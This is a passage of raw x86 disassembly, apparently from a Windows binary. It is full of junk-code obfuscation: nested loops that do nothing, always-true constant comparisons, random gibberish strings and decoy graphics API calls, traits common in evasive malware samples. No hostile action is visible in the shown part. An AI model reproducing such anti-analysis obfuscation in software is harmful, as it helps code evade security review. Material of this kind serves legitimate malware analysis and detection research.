pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x638]
call fcn.0040304b
jmp 0x41164f
jmp 0x41162d
and dword [ebp - 0x164], 0
jmp 0x4116d0
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 4
jae 0x4117ef
mov dword [ebp - 0x2b4], 0xbb7
mov dword [ebp - 0x3c4], str.wrig_acztphqpz_yunbba_ilijf_cwqjmaoab_gyae_mhadvg_ymui_rqjrbc_wmm
cmp dword [ebp - 0x2b4], 0xbd2
jle 0x411797
and dword [ebp - 0x154], 0
jmp 0x411717
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x7766
jge 0x411797
and dword [ebp - 0x15c], 0
jmp 0x411739
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x5aaa
jge 0x411792
mov eax, dword [ebp - 0x154]
add eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], edx
push dword [ebp - 0x404]
push dword [ebp - 0x408]
lea ecx, [ebp - 0x668]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x668]
call fcn.0040304b
jmp 0x41172c
jmp 0x41170a
mov eax, dword [ebp - 0x164]
mov byte [ebp + eax - 0x270], 0
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x2b4], 0xba7
jge 0x4117c4
push dword [ebp - 0x3c4]
call fcn.00491288
pop ecx
jmp 0x4117e0
or dword [ebp - 4], 0xffffffff
jmp 0x4117ea
jmp 0x4116c3
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x2bc], 0x257c
jge 0x41180e
push dword [ebp - 0x444]
call fcn.00491288
pop ecx
jmp 0x41182a
or dword [ebp - 4], 0xffffffff
jmp 0x411834
mov dword [ebp - 0x2c4], 0x2f85
mov dword [ebp - 0x3d0], str.ddvnwjtie_htapjrt_pgfmfvkh_rpjoy_svvah_pbxs_uchwijv_jykrlpe_aaqq_msu_bell_arm_opkr
cmp dword [ebp - 0x2c4], 0x30bb
jle 0x411956
and dword [ebp - 0x184], 0
jmp 0x41186e
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xcbb
jge 0x411956
and dword [ebp - 0x16c], 0
jmp 0x411894
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x5a27
jge 0x411951
and dword [ebp - 0x174], 0
jmp 0x4118ba
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x18c6
jge 0x41194c
and dword [ebp - 0x17c], 0
jmp 0x4118e0
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x4675
jge 0x411947
mov eax, dword [ebp - 0x16c]
add eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x17c]
sar eax, cl
or eax, dword [ebp - 0x184]
cdq
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], edx
push dword [ebp - 0x47c]
push dword [ebp - 0x480]
lea ecx, [ebp - 0x698]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x698]
call fcn.0040304b
jmp 0x4118d3
jmp 0x4118ad
jmp 0x411887
jmp 0x411861
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x2c4], 0x2bae
jge 0x41197b
push dword [ebp - 0x3d0]
call fcn.00491288
pop ecx
jmp 0x411997
or dword [ebp - 4], 0xffffffff
jmp 0x4119a1
mov dword [ebp - 0x2cc], 0x406d
mov dword [ebp - 0x450], str.kvqz_qasuqut_tojczg_ekpbflhq_gkgada_xgmflkgey_cvmpbgxt_jbgecnw_bpwzyay_vuma
cmp dword [ebp - 0x2cc], 0x4415
jle 0x411aa8
and dword [ebp - 0x18c], 0
jmp 0x4119db
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x77f
jge 0x411aa8
and dword [ebp - 0x194], 0
jmp 0x411a01
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x4376
jge 0x411aa3
and dword [ebp - 0x19c], 0
jmp 0x411a27
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x1dcf
jge 0x411a9e
and dword [ebp - 0x1a4], 0
jmp 0x411a49
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0xb33
jge 0x411a99
mov esi, dword [ebp - 0x18c]
add esi, dword [ebp - 0x194]
mov eax, dword [ebp - 0x19c]
cdq
idiv dword [ebp - 0x1a4]
mov ecx, edx
sar esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], edx
push dword [ebp - 0x48c]
push dword [ebp - 0x490]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411a3c
jmp 0x411a1a
jmp 0x4119f4
jmp 0x4119ce
mov eax, dword [ebp - 0x2c]
movsx eax, byte [eax]
movsx ecx, byte [0xac01c0]
cmp eax, ecx
je 0x411ac2
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jmp 0x411aa8
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x2cc], 0x3edd
jge 0x411ae5
mov edx, dword [ebp - 0x450]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x411b01
or dword [ebp - 4], 0xffffffff
jmp 0x411b0b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x530]
call fcn.0042d3bd
push 0xac0214
lea ecx, [ebp - 0x530]
call fcn.0042ba41
mov dword [ebp - 0x2d4], 0x3bc2
mov dword [ebp - 0x328], str.lyzsvzhli_vfcqvacw_uqgk_unfum
cmp dword [ebp - 0x2d4], 0x3d9e
jle 0x411c73
push 0
push 0x10e5
push 0xd3f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
and dword [ebp - 0x1c4], 0
jmp 0x411b8d
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xe5d
jge 0x411c55
and dword [ebp - 0x1bc], 0
jmp 0x411bb3
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x27fa
jge 0x411c50
and dword [ebp - 0x1ac], 0
jmp 0x411bd9
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x40f4
jge 0x411c4b
and dword [ebp - 0x1b4], 0
jmp 0x411bfb
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x3b83
jge 0x411c49
mov eax, dword [ebp - 0x1ac]
cdq
idiv dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x1bc]
mov ecx, edx
sar eax, cl
xor eax, dword [ebp - 0x1c4]
cdq
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], edx
push dword [ebp - 0x49c]
push dword [ebp - 0x4a0]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411bee
jmp 0x411bcc
jmp 0x411ba6
jmp 0x411b80
push 0x18b1
push 0x1b4e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea eax, [ebp - 0x514]
push eax
lea ecx, [ebp - 0x530]
call fcn.0040392a
push dword [eax]
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x530]
call fcn.00403916
push dword [eax]
lea ecx, [ebp - 0x578]
call fcn.0042d3e6
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x2d4], 0x38e6
jge 0x411cc9
mov edx, dword [ebp - 0x328]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x411ce5
or dword [ebp - 4], 0xffffffff
jmp 0x411cef
lea eax, [ebp - 0x578]
push eax
call fcn.004074cf
pop ecx
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x2f4], 0x59cb
mov dword [ebp - 0x3f4], str.psfht_mfzmnlx_vymaro_qmwtlhu_zrwbalmm_zxpqswd_fwsha_uncqciui_lxnfoj_vsdbddlhz_jsgnkgam_mfwggm_ytzk
cmp dword [ebp - 0x2f4], 0x5bd8
jle 0x411d9b
and dword [ebp - 0x1cc], 0
jmp 0x411d38
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x58c3
jge 0x411d9b
and dword [ebp - 0x1d4], 0
jmp 0x411d5a
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x4641
jge 0x411d99
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1d4]
sar eax, cl
cdq
mov dword [ebp - 0x4ac], eax
mov dword [ebp - 0x4a8], edx
push dword [ebp - 0x4a8]
push dword [ebp - 0x4ac]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411d4d
jmp 0x411d2b
cmp dword [ebp - 0x26c], 0
je 0x412027
mov dword [ebp - 0x2dc], 0x36a2
mov dword [ebp - 0x45c], str.kjxtgjcou_zvbpacrge_jmmtlsnxy_ukwxve_xlfyvqz_jiehws
cmp dword [ebp - 0x2dc], 0x3857
jle 0x411e93
and dword [ebp - 0x1dc], 0
jmp 0x411de2
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x1bb6
jge 0x411e93
and dword [ebp - 0x1e4], 0
jmp 0x411e08
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x38d
jge 0x411e8e
and dword [ebp - 0x1ec], 0
jmp 0x411e2a
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x6f01
jge 0x411e89
mov eax, dword [ebp - 0x1dc]
xor eax, dword [ebp - 0x1e4]
or eax, dword [ebp - 0x1ec]
cdq
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], edx
push dword [ebp - 0x4b4]
push dword [ebp - 0x4b8]
lea ecx, [ebp - 0x6c8]
call fcn.004057cc
pop ecx
pop ecx
mov ecx, eax
call fcn.0040325e
push eax
call fcn.00491288
pop ecx
lea ecx, [ebp - 0x6c8]
call fcn.0040304b
jmp 0x411e1d
jmp 0x411dfb
jmp 0x411dd5
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x548]
call fcn.0042ba12
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x2dc], 0x34f5
jge 0x411ec0
push dword [ebp - 0x45c]
call fcn.00491288
pop ecx
jmp 0x411edc
or dword [ebp - 4], 0xffffffff
jmp 0x411ee6
mov dword [ebp - 0x2e4], 0x2c2d
mov dword [ebp - 0x3e8], str.bpmuwgsp_hduqwb_nefqp_jhs_nmc_mfg_xubdnsq
cmp dword [ebp - 0x2e4], 0x2f26
jle 0x411f80
and dword [ebp - 0x1f4], 0
jmp 0x411f1c
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x39cd
jge 0x411f80
and dword [ebp - 0x1fc], 0
jmp 0x411f3e
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x6e8e
jge 0x411f7e
mov eax, dword [ebp - 0x1f4]
cdq
idiv dword [ebp - 0x1fc]
mov eax, edx
cdq
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], edx
push dword [ebp - 0x4c4]
push dword [ebp - 0x4c8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x411f31
jmp 0x411f0f
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x2e4], 0x2a9b
jge 0x411fa3
mov edx, dword [ebp - 0x3e8]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x411fbf
or dword [ebp - 4], 0xffffffff
jmp 0x411fc9
lea edx, [ebp - 0x464]
lea ecx, [ebp - 0x548]
call fcn.004068a6
movzx eax, al
test eax, eax
je 0x411ffe
push 0
push dword [ebp - 0x464]
push 0
push dword [ebp - 0x26c]
call fcn.0040ed9b
add esp, 0x10
mov dword [ebp - 0x24], eax
jmp 0x41201a
push 1
push 0
lea eax, [ebp - 0x548]
push eax
push dword [ebp - 0x26c]
call fcn.0040ed9b
add esp, 0x10
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x548]
call fcn.00403202
jmp 0x41205a
cmp dword [ebp + 0x10], 0
jne 0x41203d
mov ecx, dword [ebp + 0xc]
call fcn.0040325e
mov dword [ebp - 0x2ec], eax
jmp 0x412047
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x2ec], eax
push dword [ebp - 0x2ec]
push dword [ebp + 8]
call fcn.0040d8ff
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x42
cmp dword [ebp - 0x2f4], 0x5741
jge 0x41207d
mov edx, dword [ebp - 0x3f4]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x412099
or dword [ebp - 4], 0xffffffff
jmp 0x4120a3
lea ecx, [ebp - 0x578]
call fcn.004030da
lea ecx, [ebp - 0x530]
call fcn.00403202
mov dword [ebp - 4], 0x44
cmp dword [ebp - 0x2fc], 0x431d
jge 0x4120dc
mov edx, dword [ebp - 0x46c]
mov ecx, 0xabcc58
call fcn.0042d10d
jmp 0x4120f8
or dword [ebp - 4], 0xffffffff
jmp 0x412102
mov dword [ebp - 0x304], 0x76b8
mov dword [ebp - 0x400], str.zwcmdv_cwebp_lbaoinded_wvznwh_oqf_kivs_daqaomyho
cmp dword [ebp - 0x304], 0x7a9f
jle 0x412199
and dword [ebp - 0x204], 0
jmp 0x412138
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x48e6
jge 0x412199
and dword [ebp - 0x20c], 0
jmp 0x41215a
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x3e77
jge 0x412197
mov eax, dword [ebp - 0x204]
or eax, dword [ebp - 0x20c]
cdq
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], edx
push dword [ebp - 0x4d4]
push dword [ebp - 0x4d8]
mov ecx, 0xabcc58
call fcn.0042b8cd
jmp 0x41214d
jmp 0x41212b
mov eax, dword [ebp - 0x24]
jmp 0x412231
mov dword [ebp - 4], 0x48
cmp dword [ebp - 0x30c], 0x27c5
jge 0x412209
push dword [ebp - 0x474]
call fcn.00491288
pop ecx
jmp 0x412225
or dword [ebp - 4], 0xffffffff
jmp 0x41222f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret